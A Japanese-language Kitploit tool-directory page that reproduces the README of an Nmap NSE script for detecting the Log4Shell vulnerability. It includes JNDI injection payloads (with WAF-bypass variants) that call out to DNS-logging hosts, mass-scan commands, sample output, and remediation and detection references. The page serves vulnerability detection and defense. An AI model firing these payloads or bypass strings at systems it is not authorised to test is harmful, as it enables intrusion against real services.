Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nse-log4shell — log4shell または LogJam の脆弱性をチェックするための Nmap NSE スクリプト (CVE-2021-44228) | Kitploit
ツール/GitHubGitHub/diverto/nse-log4shell
脆弱性スキャナーエクスプロイトウェブセキュリティネットワークセキュリティペネトレーションテストDNS分析Archived
GitHubdiverto/nse-log4shell

nse-log4shell

log4shell または LogJam の脆弱性をチェックするための Nmap NSE スクリプト (CVE-2021-44228)

リポジトリを見る
35247234年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

nse-log4shell

Nmap NSEスクリプトで、log4shellおよびLogJamの脆弱性(CVE-2021-44228)を確認します。NSEスクリプトは、インターネット上で露出している一般的なサービスをチェックします。ペイロードをカスタマイズできる基本的なスクリプトです。

例

注意事項: NSEスクリプトはサービスに対してリクエストを送信するだけです。Nmapは脆弱なホストを報告しません。脆弱性を判断するにはDNSログを確認する必要があります。ペイロードを手動で指定しない場合、NSEスクリプトはデフォルトでdnslog.cnを使用します。つまり、リクエストはdnslog.cnに表示されます。

dnslog.cnを使ったクイック確認

スクリプトが配置されているディレクトリに移動し、次のコマンドを実行します(Nmapが自動的にdnslog.cnを取得します)。

Linuxの場合:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Windowsの場合:

root@kitploit:~
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

検討すべきペイロード

v2.15.0の新しいパッチバイパス(CVE-2021-45046)。@marcioalm氏に感謝(ツイート):

root@kitploit:~
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

AWSバイパス(@11xuxx氏に感謝 - ツイート):

root@kitploit:~
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Akamaiバイパス(@ozgur_bbh氏に感謝 - ツイート):

root@kitploit:~
${jndi${123%25ff:-}:ldap://HOST:PORT/a}

手動設定

Windowsの例(@ZedFuzz氏に感謝) - 引用符のエスケープ方法に注意:

root@kitploit:~
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

logdnsの利用(カスタムDNSロギングサーバー)

http://github.com/kost/logdns にアクセスしてDNSサーバーを入手してください。ドメインを取得し、logdnsをインストールした場所を指すように設定します:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

dnslog.cnの利用

http://dnslog.cn/ にアクセスしてSubDomainを取得します。取得したSubDomainでxxxxを置き換えます:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

burpcollaboratorの利用

Burp Collaboratorからドメインを取得し、取得したドメインでxxxxを置き換えます:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

CanaryTokenの利用 (https://canarytokens.org/generate#)

CanaryTokenからトークンを取得し、取得したドメインでxxxxを置き換えます:

root@kitploit:~
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

@saintz666氏に感謝

推奨される方法

dnslog.cnのセッションは短時間(約30分)です。スキャンにかかる時間だけセッションを延長する方法があるはずです。また、DNSクエリがリクエスト受信よりかなり遅れて発生することがあります。リクエストから数時間後にDNSリクエストを受け取ったという報告もあります。 回避策として、nmap NSEスクリプトは各ホストのスキャン後にセッションを取得します。

したがって、現時点で最も確実なのは、logdnsのようなツールでカスタムDNSドメインを使用することです: https://github.com/kost/logdns

出力例

root@kitploit:~
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

解決策 / 修正

最善の修正と回避策のリストです。

最善の修正

CVE-2021-44228から保護するための最善の解決策: log4j-2.16.0以降に更新してください。

新しい脆弱性が見つかったため、log4j-2.15.0-rc1はもはや推奨されません。したがって、log4j-2.16.0以降に更新する必要があります(@ruppde氏に感謝)。

また、log4j2.formatMsgNoLookupsをtrueに設定するなどの他の推奨事項は避けるべきです。

最善の特定方法

log4shellの脆弱性を特定するには、ローカルファイルシステムでlog4j関連のファイルを探すのが最善です。

これらのNSEスクリプトは、追加の確認手段としてのみ使用してください。NSEは脆弱なサービスを特定するのに役立ちますが、脆弱なアプリケーション自体を特定するわけではありません。すべてのリクエスト(ルート/を含む)をログに記録するアプリケーションであれば特定できますが、脆弱性がログインの背後に隠れている場合は特定できません。その場合は、Web全体をクロールするWebスキャナが必要です。

次の例で特定のURIを確認できます: http-log4shell.url=/my/application/uri

HTTPヘッダーとCookieを介してチェックします。POST/GETフォームをチェックする必要がある場合は、http-spider-log4shellを確認してください。それでも、log4jに対応したWebスキャナを使用するのが最善です。

また、log4j-core <= 2.7 の式内でプレフィックスを組み合わせたDNS解決はサポートされていないようです。そのため、${java:os} のようなものでテストすると偽陰性が生じる可能性があります。 したがって、偽陰性よりも偽陽性が少しある方が良いです。

参考情報

脆弱性に関する一般的な参考情報とリンクです。

一般

Redditスレッド - log4shellに関する一般的な情報

NCC log4shell - 脆弱性に関する運用情報(IOC、緩和策、スキャン、ソフトウェア)

関連

BlueTeam CheatSheet Log4Shell - Log4Shell(CVE-2021-44228)に関連するセキュリティアドバイザリ / 速報

Software List - チートシート リファレンスガイド - ベンダーの対応による影響を受けるソフトウェアのリスト

テスト

リモートおよびオンラインでのチェックは、追加の確認やクイックテストとして役立ちます。さらなる確認のためには、既知のlog4jシグネチャをローカルファイルでスキャンすることをお勧めします。

lo4shell.huntress.com - オンラインのLog4Shell脆弱性テスター

log4j yara - ローカル検出用のyaraルール

identify-log4j-class-location.sh - ear/war/jarファイル群からCVE-2021-44228の影響を受けるLog4Jクラスを特定するスクリプト

悪用

PoC-log4j-bypass-words - 単語をブロックするパッチを回避するトリック

悪用の検出

log4shell-detector - Log4Shellの悪用試行を検出する検出器

Log4Shell-IOCs - IOCフィードと脅威レポートのリスト

log4j_rce_detection.md - これらのコマンドとルールを使用して、悪用の試行を検索できます

緩和 / 修正

log4j advisory - Apache Log4jのセキュリティ脆弱性

log4j pull request and comments - コメントに関するバグを修正するプルリクエスト

Logout4Shell - 手動パッチ適用に代わる迅速で簡易的な代替手段

ツールをダウンロード